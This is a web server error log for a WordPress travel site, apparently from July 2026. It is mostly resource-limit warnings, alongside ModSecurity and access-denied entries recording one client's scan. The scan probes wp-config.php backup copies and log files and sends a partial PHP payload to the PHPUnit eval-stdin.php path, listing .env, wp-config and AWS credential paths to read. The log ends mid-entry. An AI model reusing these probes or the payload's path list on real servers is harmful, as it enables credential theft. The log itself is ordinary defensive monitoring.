[Fri Jul 17 08:55:17.770446 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnSvekYYQ8uns4MwlVwAAAA0"]
[Fri Jul 17 08:55:17.774202 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.778722 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.785291 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:58750] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:55:17.788567 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.791160 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.792799 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.793748 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.798315 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.799906 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.803173 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.810412 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.821426 2026] [authz_core:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.orig
[Fri Jul 17 08:55:17.821570 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.822830 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.823363 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.840014 2026] [autoindex:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] AH01276: Cannot serve directory /home/stravel1/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 08:55:17.845530 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.861357 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.862553 2026] [authz_core:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.swp
[Fri Jul 17 08:55:17.862738 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.867473 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.870814 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.875334 2026] [autoindex:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] AH01276: Cannot serve directory /home/stravel1/public_html/wp-content/uploads/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 08:55:17.875539 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.883363 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.886659 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/wp-content/themes/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.887507 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.888230 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.889722 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/wp-content/plugins/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.893756 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.894079 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.899451 2026] [authz_core:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/uploads/wp-config.php
[Fri Jul 17 08:55:17.899583 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.904417 2026] [authz_core:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/error_log
[Fri Jul 17 08:55:17.904577 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.904728 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.905487 2026] [authz_core:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.backup
[Fri Jul 17 08:55:17.905604 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.907198 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.908178 2026] [authz_core:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.tmp
[Fri Jul 17 08:55:17.908294 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.908430 2026] [authz_core:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php-backup
[Fri Jul 17 08:55:17.908522 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.908823 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/php-errors.log"] [unique_id "almgnXRlmrtCoY_COpcl2wAAAAg"]
[Fri Jul 17 08:55:17.909587 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/php-errors.log"] [unique_id "almgnXRlmrtCoY_COpcl2wAAAAg"]
[Fri Jul 17 08:55:17.909775 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.909953 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnXRlmrtCoY_COpcl2wAAAAg"]
[Fri Jul 17 08:55:17.911435 2026] [authz_core:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.copy
[Fri Jul 17 08:55:17.911532 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.914701 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.916435 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.920239 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.922155 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.922255 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.929328 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/default/settings..."] [hostname "2s-travels.com"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnS0HS8lGbZyK8qt3DwAAACM"]
[Fri Jul 17 08:55:17.929729 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/default/settings..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnS0HS8lGbZyK8qt3DwAAACM"]
[Fri Jul 17 08:55:17.930205 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array(.env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/credential..."] [severity 